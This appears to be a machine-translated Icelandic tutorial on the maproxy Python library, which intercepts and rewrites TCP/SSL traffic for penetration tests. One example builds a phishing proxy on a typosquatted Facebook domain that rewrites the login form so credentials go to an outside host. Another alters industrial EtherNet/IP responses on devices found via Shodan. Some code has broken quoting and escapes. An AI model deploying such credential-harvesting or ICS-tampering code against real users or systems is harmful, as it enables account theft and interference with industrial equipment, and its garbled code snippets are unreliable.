Þýðing á greininni var unnin í aðdraganda námskeiðsins
Útdráttur
Ýmsar tegundir öryggismats, allt frá reglubundnum skarpskyggniprófum og aðgerðum Red Team til að hakka IoT/ICS tæki og SCADA, felur í sér að vinna með tvöfaldar netsamskiptareglur, það er í raun að stöðva og breyta netgögnum milli viðskiptavinarins og markmiðsins. Að þefa netumferð er ekki erfitt verkefni þar sem við erum með verkfæri eins og Wireshark, Tcpdump eða Scapy, en breytingar virðast vera vinnufrekara verkefni þar sem við þurfum að hafa einhvers konar viðmót til að lesa netgögnin, sía þau, breyta það á flugu og sendu það aftur til markhýsilsins í næstum rauntíma. Að auki væri tilvalið ef slíkt tól gæti sjálfkrafa unnið með margar samhliða tengingar og verið sérhannaðar með forskriftum.
Einn daginn uppgötvaði ég tól sem heitir
, skjölin gerðu mér það fljótt ljóst maproxy
- bara það sem ég þarf. Þetta er frekar einfalt, fjölhæft og auðvelt að stilla TCP umboð. Ég prófaði þetta tól á nokkrum frekar flóknum forritum, þar á meðal ICS tækjum (sem búa til fullt af pökkum) til að sjá hvort það gæti séð um margar samhliða tengingar og tólið stóð sig vel.
Þessi grein mun kynna þér vinnslu netgagna á flugu með því að nota maproxy
.
Skoða
Tól maproxy
er byggt á Tornado, vinsælum og þroskaðri ósamstilltu netkerfi í Python.
Almennt séð getur það starfað í nokkrum stillingum:
TCP:TCP
- ódulkóðaðar TCP tengingar;TCP:SSL
иSSL:TCP
- með einhliða dulkóðun;SSL:SSL
– tvíhliða dulkóðun.
Það kemur sem bókasafn. Til að byrja fljótt geturðu notað dæmi skrár sem endurspegla helstu
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Mál 1 – einfalt tvíátta umboð
Byggt á tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Sjálfgefið ProxyServer()
tekur tvö rök - tengingarstaðsetningu og markgátt. server.listen()
tekur eitt rök - höfnina til að hlusta á tenginguna sem komi.
Að keyra handritið:
# python tcp2tcp.py
Til að keyra prófið ætlum við að tengjast staðbundnum SSH netþjóni í gegnum proxy skriftuna okkar, sem hlustar á 2222/tcp
tengi og tengist venjulegu tengi 22/tcp
SSH netþjónar:
Móttökuborðinn upplýsir þig um að dæmi skriftu okkar hafi tekist umboð netumferðar.
Mál 2 - breyting á gögnum
Annað kynningarhandrit logging_proxy.py
tilvalið til að hafa samskipti við netgögn. Athugasemdir í skránni lýsa bekkjaraðferðum sem þú getur breytt til að ná markmiði þínu:
Það áhugaverðasta er hér:
on_c2p_done_read
- að stöðva gögn á leiðinni frá viðskiptavininum til netþjónsins;on_p2s_done_read
- snúið við.
Við skulum reyna að breyta SSH borðanum sem þjónninn skilar til viðskiptavinarins:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Framkvæma handritið:
Eins og þú sérð var viðskiptavinurinn afvegaleiddur vegna þess að nafni SSH netþjóns fyrir hann var breytt í «DumnySSH»
.
Tilfelli 3 – einföld vefveiðarvefsíða
Það eru endalausar leiðir til að nota þetta tól. Að þessu sinni skulum við einbeita okkur að einhverju praktískara frá aðgerðahlið Rauða liðsins. Við skulum herma eftir áfangasíðunni m.facebook.com
og notaðu sérsniðið lén með vísvitandi innsláttarvillu, til dæmis, m.facebok.com
. Í sýnikennsluskyni skulum við bara gera ráð fyrir að lénið sé skráð af okkur.
Við ætlum að koma á ódulkóðuðu netsambandi við umboð fórnarlamba okkar og SSL Stream á Facebook netþjóninn (31.13.81.36
). Til að þetta dæmi virki þurfum við að skipta um HTTP hýsingarhaus og sprauta inn réttu hýsingarheiti, og við munum einnig slökkva á svarþjöppun svo við getum auðveldlega nálgast innihaldið. Að lokum munum við skipta um HTML eyðublaðið þannig að innskráningarskilríkin eru send til okkar í stað netþjóna Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/is/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Í stuttu máli:
Eins og þú sérð tókst okkur að skipta út upprunalegu síðunni.
Tilfelli 4 - Porting Ethernet/IP
Ég hef verið að fást við iðnaðartæki og hugbúnað (ICS/SCADA) í nokkuð langan tíma, svo sem forritanlegir stýringar (PLC), I/O einingar, drif, liða, stiga forritunarumhverfi og margt fleira. Þetta mál er fyrir þá sem hafa gaman af iðnaðarhlutum. Að hakka slíkar lausnir felur í sér virkan leik með netsamskiptareglum. Í eftirfarandi dæmi langar mig að sýna hvernig þú getur breytt ICS/SCADA netumferð.
Fyrir þetta þarftu eftirfarandi:
- Network sniffer, til dæmis, Wireshark;
- Ethernet/IP eða bara SIP tæki, þú getur fundið það með Shodan þjónustunni;
- Handritið okkar er byggt á
maproxy
.
Fyrst skulum við skoða hvernig dæmigerð auðkenningarsvörun frá CIP (Common Industrial Protocol) lítur út:
Auðkenning tækisins er framkvæmd með því að nota Ethernet/IP samskiptareglur, sem er endurbætt útgáfa af iðnaðar Ethernet samskiptareglum sem umlykur stjórnunarsamskiptareglur eins og CIP. Við ætlum að breyta auðkennda nafninu sem er sýnilegt á skjámyndinni "NI-IndComm fyrir Ethernet" með því að nota proxy-forskriftina okkar. Við gætum endurnýtt handritið logging_proxy.py
og breyta á sama hátt bekkjaraðferðinni on_p2s_done_read
, vegna þess að við viljum að annað auðkennisnafn sé sýnilegt á viðskiptavininum.
Code:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Í meginatriðum báðum við um auðkenningu tækisins tvisvar, annað svarið var upprunalega og því fyrsta var breytt í skyndi.
Og það síðasta
Að mínu mati maproxy
Þægilegt og einfalt tól, sem einnig er skrifað í Python, svo ég tel að þú getir líka haft gott af því að nota það. Auðvitað eru til flóknari verkfæri til að vinna úr og breyta netgögnum, en þau krefjast líka meiri athygli og eru venjulega búin til fyrir tiltekið notkunartilvik, t.d. maproxy
þú getur fljótt útfært hugmyndir þínar um að stöðva netgögn, þar sem dæmið forskriftir eru mjög skýrar.
Heimild: www.habr.com